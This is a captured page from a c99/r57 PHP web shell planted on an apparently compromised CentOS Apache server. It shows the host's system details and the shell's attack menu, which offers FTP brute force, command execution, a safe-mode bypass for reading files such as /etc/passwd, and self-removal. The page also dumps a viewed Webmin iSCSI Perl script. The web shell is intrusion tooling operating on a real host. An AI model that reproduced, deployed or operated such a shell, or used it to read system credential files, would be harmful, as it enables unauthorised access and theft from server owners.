!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/iscsi-client/   drwxr-xr-x
Free 50.94 GB of 127.8 GB (39.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     view_conn.cgi (2.51 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Show details of one connection

use strict;
use warnings;
require './iscsi-client-lib.pl';
our (%text, %in);
&ReadParse();

# Get the connection
my $conns = &list_iscsi_connections();
ref($conns) || &error(&text('conns_elist', $conns));
my ($conn) = grep { $_->{'num'} eq $in{'num'} } @$conns;
$conn || &error($text{'vconn_egone'});

&ui_print_header(undef, $text{'vconn_title'}, "");

print &ui_form_start("delete_conns.cgi");
print &ui_hidden("d", $in{'num'});
print &ui_table_start($text{'vconn_header'}, undef, 2);

print &ui_table_row($text{'conns_ip'}, $conn->{'ip'});

print &ui_table_row($text{'conns_sport'}, $conn->{'port'});

print &ui_table_row($text{'conns_name'}, $conn->{'name'});

print &ui_table_row($text{'conns_target'}, $conn->{'target'});

print &ui_table_row($text{'vconn_proto'}, uc($conn->{'proto'}));

print &ui_table_row($text{'vconn_init'}, $conn->{'initiator'});

print &ui_table_row($text{'vconn_connection'}, $conn->{'connection'});

print &ui_table_row($text{'vconn_session'}, $conn->{'session'});

print &ui_table_hr();

foreach my $f ("username", "password", "username_in", "password_in") {
    print &ui_table_row($text{'vconn_'.$f},
        $conn->{$f} || "<i>$text{'vconn_none'}</i>");
    }

if ($conn->{'device'}) {
    print &ui_table_hr();

    print &ui_table_row($text{'vconn_device'},
        "<a href='../fdisk/edit_disk.cgi?device=$conn->{'device'}'>".
        "$conn->{'device'}</a>");

    print &ui_table_row($text{'vconn_device2'},
        &mount::device_name($conn->{'device'}));

    if ($conn->{'longdevice'}) {
        print &ui_table_row($text{'vconn_device3'},
            "<tt>$conn->{'longdevice'}</tt>");
        }

    my @disks = &fdisk::list_disks_partitions();
    my ($disk) = grep { $_->{'device'} eq $conn->{'device'} } @disks;
    if ($disk) {
        print &ui_table_row($text{'vconn_size'},
            &nice_size($disk->{'size'}));
        }

    my @users = &get_connection_users($conn, 1);
    if (@users) {
        my $utable = &ui_columns_start([
            $text{'dconns_part'},
            $text{'dconns_size'},
            $text{'dconns_use'},
            ], 100, 0, [ "nowrap", "nowrap", "nowrap" ]);
        foreach my $u (@users) {
            $utable .= &ui_columns_row([
                &mount::device_name($u->[1]->{'device'}),
                &nice_size($u->[1]->{'size'}),
                $u->[2] ?
                &lvm::device_message($u->[2], $u->[3], $u->[4])
                : "<i>$text{'dconns_unused'}</i>",
                ], "50");
            }
        $utable .= &ui_columns_end();
        print &ui_table_row($text{'vconn_users'}, $utable);
        }
    }

print &ui_table_end();
print &ui_form_end([ [ undef, $text{'vconn_delete'} ] ]);

&ui_print_footer("list_conns.cgi", $text{'conns_return'});

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0054 ]--